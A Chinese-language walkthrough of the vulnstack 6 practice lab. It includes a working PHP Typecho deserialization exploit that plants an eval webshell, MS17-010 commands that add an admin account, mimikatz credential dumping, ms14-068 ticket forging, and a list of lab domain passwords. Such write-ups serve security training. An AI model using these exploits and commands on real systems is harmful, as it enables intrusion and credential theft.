红日靶场-vulnstack(六)
环境搭建
把所有镜像恢复到v3.2快照,原先配置的是nat模拟外网,并且没有给账号密码。根据以往的经验,它的ipv4配置是把ip写死,但是我想在另外一台电脑访问靶机,所以添加了一块桥接网卡。
扫端口发现只开放了80,访问一下
看起来需要知道站点文件夹名,但是扫目录也没效果,只能想办法登录进去看看
pe修改密码
用微pe做个iso并且在虚拟机设置
编辑vmx文件,添加bios.forceSetupOnce = "TRUE"
。开机设置boot,将cdrom提到第一位,进入pe后修改administrator账户的密码。
登录后第一时间看了眼phpstudy的www目录,发现是typecho。访问/typecho
快照刚恢复时是有2个已登陆账户,其中一个应该是跑着phpstudy,想办法弄到密码
永恒之蓝
给DC这台添加个桥接网卡,用msf的auxiliary/admin/smb/ms17_010_command
模块(eternalblue
那个没成功)添加账户
net user b1ank 1qaz@WSX /add // 密码不能太简单
net localgroup administrators b1ank /add
上传一个cs马,用管理员身份打开。logonpasswords获取hash和明文密码
其中一个密码可以登录web那台机器,也上传个cs马获取hash(有了密码可以把环境都重置一下)
de1ay\Administrator | 1qaz@WSX1234567890
de1ay\de1ay | 1qaz!QAZ1qaz!QAZ
de1ay\mssql | 1qaz@WSX
de1ay\de2ay | 1qaz@WSX!QAZ2wsx
登录web\de1ay,发现mysql没启动,启动后再次访问/typecho发现还是数据库错误,查看配置文件发现mysql账号密码没问题,于是把config.ini.php删除,访问/install.php重装。又发现某个类报错,只好到typecho下载地址下载源码,替换重装(重装的时候事先在mysql里新建个typecho库)。
外网渗透
typecho有个反序列化可以前台getshell
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 'echo ^<?php @eval($_POST["b1ank"]);?^>>shell.php'; // 执行的参数值
$this->_filter[0] = 'system'; //filter执行的函数
}
}
class Typecho_Feed{
const RSS2 = 'RSS 2.0'; //进入toString内部判断条件
private $_items = array();
private $_type;
function __construct()
{
$this->_type = self::RSS2;
$_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
$_item['category'] = array(new Typecho_Request());//触发错误
$this->_items[0] = $_item;
}
}
$exp = new Typecho_Feed();
$a = array(
'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
'prefix' =>'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
靶机php版本是7.3.4,用不了assert,改为system
蚁剑连接后上传并执行cs马
C:\phpstudy_pro\WWW\typecho> .\artifact.exe
内网渗透
搜集一些信息
域: de1ay.com
域用户: administrator、de1ay、de2ay、mssql
WEB/win2008: 192.168.1.106/10.10.10.80
DC/win2012: 10.10.10.10
de2ay: S-1-5-21-2756371121-2868759905-3853650604-4603
mimikatz获取到了de2ay的明文密码,偷一个de2ay的token,试试ms14-068(systeminfo可以查看是否打补丁)
//生成票据
ms14-068.exe -u [email protected] -s S-1-5-21-2756371121-2868759905-3853650604-4603 -d 10.10.10.10 -p 1qaz@WSX!QAZ2wsx
//注入票据
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::purge" "exit"
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::list" "exit"
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::ptc C:\phpstudy_pro\WWW\typecho\[email protected]" "exit"
失败了
给msf传个session过去,用永恒之蓝试试
失败了,换auxiliary/admin/smb/ms17_010_command
,添加个管理员
net user b1ank 1qaz@WSX /add
net localgroup administrators b1ank /add
添加smb监听器,上线cs
获取hash
总结
- mimikatz单行执行命令时要记得exit
- Windows server 添加的账户密码不能太简单,不然会导致执行失败